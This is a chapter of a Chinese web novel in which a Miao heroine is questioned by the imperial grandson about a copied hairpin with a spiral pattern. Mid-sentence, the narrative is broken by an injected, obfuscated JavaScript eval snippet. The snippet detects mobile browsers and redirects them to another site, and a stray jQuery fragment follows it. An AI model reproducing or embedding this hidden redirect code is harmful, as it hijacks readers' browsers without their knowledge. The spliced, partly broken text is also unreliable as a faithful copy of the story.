默认冷灰
24号文字
方正启体

3. 第3章 螺旋纹样

作者:小莹是只虫本书字数:K更新时间:
    苗疆一向擅卜而不擅谋,因此即使一身精深独到、术法通神的本领,却向来敛锋藏锐。


    倘若入世,不过两个缘由。一为降妖除魔,二为辅佐天命之人。


    她曾爷爷丰阿朝本为一卦入京,早知世间因果,却一直游离于权谋纷争之外,只守着本心。


    如今此话一出,便意味着他离功德圆满不远了。


    安苗闻此,杏眼一错不错得盯着他,眸底暗含悲切,却无半分犹疑,只轻声道“原是已到今日了。”


    她眨了眨眼睛,强压下心头的酸意,“这妖毒可有眉目?”


    丰阿朝摇头道,“这便待你去查了。我本疑心那簪子上染了毒,但照你描述,亦经手簪子的那俩侍卫倒是无事,因此应和簪子无关。”


    他摸了摸下巴,“这太孙身份尊贵,若是自己胡闹也就罢了,他皇爷爷怎么也纵着他乱来。”


    安苗摇摇头,“反正我与那太孙如今目标一致,接下来我定跟紧护好他。”


    她眼中隐隐透出眷恋与追忆,连带周身的利落清锐都弱了几分,隐隐透出柔和来,


    “太奶奶若知她九州一统、万民归心的夙愿将会实现,应是再无半分遗憾了。”


    “别惦记你太奶奶了,何时安排我和你梅姨吃饭?”那郎君却未跟着一同伤怀,叫嚣道。又将爬满皱纹的高举过头顶,翻来覆去地显摆如老藤一般的青筋。


    安苗听着,面上无半分嗔怪,反倒含着些无奈的温柔,轻应道,


    “下周吧,待你再恢复恢复元气。”


    斯人已逝,活着的人应寻点欢喜。


    太孙殿下也是个不服输的犟脾气,身体还未好利索,便开始大肆筛查全京的三条簪铺。


    他此番行事格外隐秘,也是因为安苗为着他的周全,整日寸步不离地随着他满城乱窜,才侥幸成了为数不多知晓内情的人。


    但她黄铜珍珠镶嵌的簪子却未下架、销毁,而是尽数在店铺最显眼的位置,正大光明得摆着,只是在簪子珍珠的旁侧又添了一圈螺旋纹。


    这太孙殿下心思如此缜密,既从卖家处追查,自然也不会漏了买家这条线。因此,倘若只是将这簪子收起来,若是有带着同款簪子的女子指了自己铺子,怕是无论如何也说不清了。


    果不其然,铺子筛查一番后,他便遣人在京中各市集布下暗线,专寻那些头戴黄铜珍珠纹样三镶簪的人,盘问簪子的来路。


    这指来指去、问来问去,终究将太孙殿下指来了安苗的小铺。


    那日,安苗正斜倚在软榻上打着络子,乌发未绾,松松得挽了个高髻,用红绳缠束,上面坠着几枚银质小铃铛。


    就见一着暗纹织金常服,腰束玉带,乌发以玉簪高绾的金贵男子进了门。他步履轻缓得踏在厚实的羊毛毯上,衣袂轻扫过毯子柔软的绒毛,自带一股疏离的沉静感。


    他进来后也不急,轻扫一圈,大致确定了屋内的布局,


    “可有后门?”疏淡冷清的声音传来,


    安苗面露疑惑,似不敢忤逆,抬手盈盈一指,广袖微垂,一串光滑的苗疆彩石手链在她莹白圆润的腕间晃来晃去,


    “左前方挂毯后。”


    太孙轻轻点头,应是知她确实没有隐瞒。持刀的方正男子见此,当即阔步向前,肃然立于挂毯前方。


    太孙便不再多语,寒松似的身姿在色彩鲜艳的木质柜台前缓缓挪动步子,挨个端详着。


    青衣男子明显是上次吃了教训,此番亦步亦趋得跟在太孙身后,纵使察觉身前人的不耐已浓得化不开,也依旧寸步不离,半分不敢松懈。


    太孙晶莹如玉的手果然摸上了那支黄铜珍珠镶嵌的簪子,他似乎是来了兴致,双指捏起来仔细打量,眼里兴致盎然。他将那簪子上下研究了一番,又递给青衣男子,“你看可是这支?”


    那男子闻此一凛,忙双手接过,仔细端详,左左右右得在心里比对。


    “正是。”他沙哑道,似按捺着滋长的思绪。


    话音未落,他猛得搁下簪子,攥紧刀柄,纵身一跃,寒刃已贴在安苗的脖颈,森冷的锋刃擦着肌肤,凝着慑人的寒气。那男子周身迸发出浓重的杀意,那杀意带着浓重的血腥气,这是上过战场的人才有的血性和狠戾。


    安苗被迫扬起脑袋,发间的银铃随动作轻晃,“叮叮叮”的脆响清灵悦耳。它独自摇曳着,似丝毫未觉察到此时的剑拔弩张。


    “你急什么?”太孙见此,头偏了偏,好笑道。


    “四海,回来。”他轻唤。


    四海似乎是有些不解,他一垂眸,就看见安苗假意惊慌无措的面孔。


    那娇美的脸蛋此时正满脸惊惧,殷红饱满的双唇微张,通红的杏眼睁得大大的,密长卷翘的睫毛上还摇摇欲坠得挂着一滴泪。


    他又望向自家殿下古井无波的面孔,殿下似不觉那女子可怜,也不甚急迫,只是平淡得看向他,连眼风都没分给那娇嫩欲滴的苗疆女子。


    “太孙殿下,这簪子…”


    “你再仔细看看,那日的簪子上,可有一圈螺旋纹样?”


    四海顿时局促起来,他小心翼翼地松开这艳若凝脂的女子,歉意一笑,几步走上前去,又拿过那簪子细细打量。


    果真如此,这两副簪子如此神似,细节却又不同,这是怎么回事?他迷惑得望了一眼那女子,又看看殿下。


    “这…”


    “姑娘可否告诉我,这簪子的纹样你从何处见来?苗疆手艺素来带着异域风情,极少能如此簪子这般,将苗疆意趣与中原雅韵相融,在簪间嵌了珍珠作衬。”


    那男子顿了顿,又温声道,“我观你其余的簪饰并无此巧思,而在此簪的珍珠旁侧添螺旋纹,反倒折损了整簪的清雅。姑娘可有话要说?”


    安苗唇瓣动了动,欲要解释。然而话还为出口,一滴泪倒先砸了下来。她忍不住俯倒在软榻上啜泣起来,肩膀一颤一颤得,悬挂的银饰随之轻轻摇摆。


    太孙几乎是冷漠得看着这一幕,他眼底丝毫波澜未起,只凝神等着那女子开口。但四海已能感受到殿下心底的厌倦和反感,他忙上前道,


    “此事紧急,是我冒昧了。还望姑娘暂抑情绪,据实相告。”


    安苗心下估摸此时应差不多了,她抿了抿唇,抬手拭泪道,


    “我这店铺本身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275450|198221||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就生意惨淡,难以为继。多日前,有一面戴白纱、身形丰腴的中年妇人来我店中,她头上正戴着副三条簪。那纹样雅致,瞧着便与寻常的不同。我一时糊涂,就悄悄把那纹样描了下来,偏生心里发虚,便在珍珠旁多画了一圈螺旋纹,放在店里售卖。”她说着又垂落眼帘,小声啜泣起来。


    “那女子可有什么不同?”清雅的嗓音淡声道。


    “无甚奇特,只是听起来,声音更低哑些,竟不似女子。”安苗的泪已经沾湿了前襟,打得颈间的银圈蒙了层湿意,看着冷丝丝得。


    她不敢抬头,仍俯趴在软榻上拭泪。只听脚步声渐远,再抬头时,那一行人早已没了踪影,簪子被拿走了,旁边放着个金灿灿的元宝。


    安苗手里掂着圆滚滚的金元宝,往二进的小院走去。此时华灯初上,酒旗斜挑,夜风中已有了暖意,丝丝缕缕划过安苗的耳畔,小巧的银花在她耳畔一晃一晃,闪着细碎的银光。


    小院的门再次应声而开,又是那玉面郎君,又是清朗的声线。


    “钱..”


    然而话音还未落,一沉甸甸的元宝便被砸在了他的怀里,直砸得他喜笑颜开,满面春风。


    态度是截然不同的转变,他也没推脱,将安苗拉进去,坐在圆桌旁。


    那圆桌对面,已坐了一个身姿曼妙的妇人,便是梅姨,此时正含笑把她瞧着。


    就见丰阿朝将那金灿灿、胖乎乎的元宝轻轻放置于梅姨眼前,“可能买你开心?”


    他略有些拘谨,搓了搓手掌,又摩挲了一下自己手腕悬挂的镂空银环。


    梅姨见此刚微扬唇角,然而清秀的眉眼还没彻底弯下来,就先染上了无措与忧虑,她伸手轻拉过丰阿朝的手腕。


    “这手是怎么回事?”她语气急切起来,翻来覆去得端详那只若枯木的手,眼里含了些疼惜。


    “这…”


    丰阿朝似未料到竟这般容易就被察觉,他一时微显无措,忙不迭将手往回抽,含糊道:“没什么……”


    他虽表面推拒,俊朗的眉眼却显出几分酸涩,恍若满腹委屈无从诉说。


    梅姨便更怜惜了,已然是要眼角含泪,她红唇微启,正欲说些什么。


    安苗忙轻咳一声,打破这暧昧多情的氛围。


    她冲梅姨笑道,“不若你和表哥先用餐?我忽然记起店门忘了锁,我去去便来。”


    她也不顾两人的挽留,利落起身,几步迈出去,毫无犹豫得离开了。


    可待出了门,又觉得无处可去。思来想去,便打算去东宫转转,看看那金贵的太孙殿下是否还好好活着。


    她顺着小巷慢慢往主路走去,四周慢慢盈满火光,不似小巷的幽寂暗沉,这大路灯火昭昭,满街辉煌。


    却见一清寂的人独自立于街侧的阴影之中,明明身处这似锦繁荣、昌平盛世之内,却好似独伴青灯古佛。


    安苗觉出一丝不对来,怎么不见那俩侍卫?


    她心头警铃大作,指尖暗扣一张符文,眸光冷锐得扫过四周,脊背绷如弓弦。


    就见那凌厉的身影又一次直直栽倒下来,此番却没有趋之若鹜的一众侍从。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)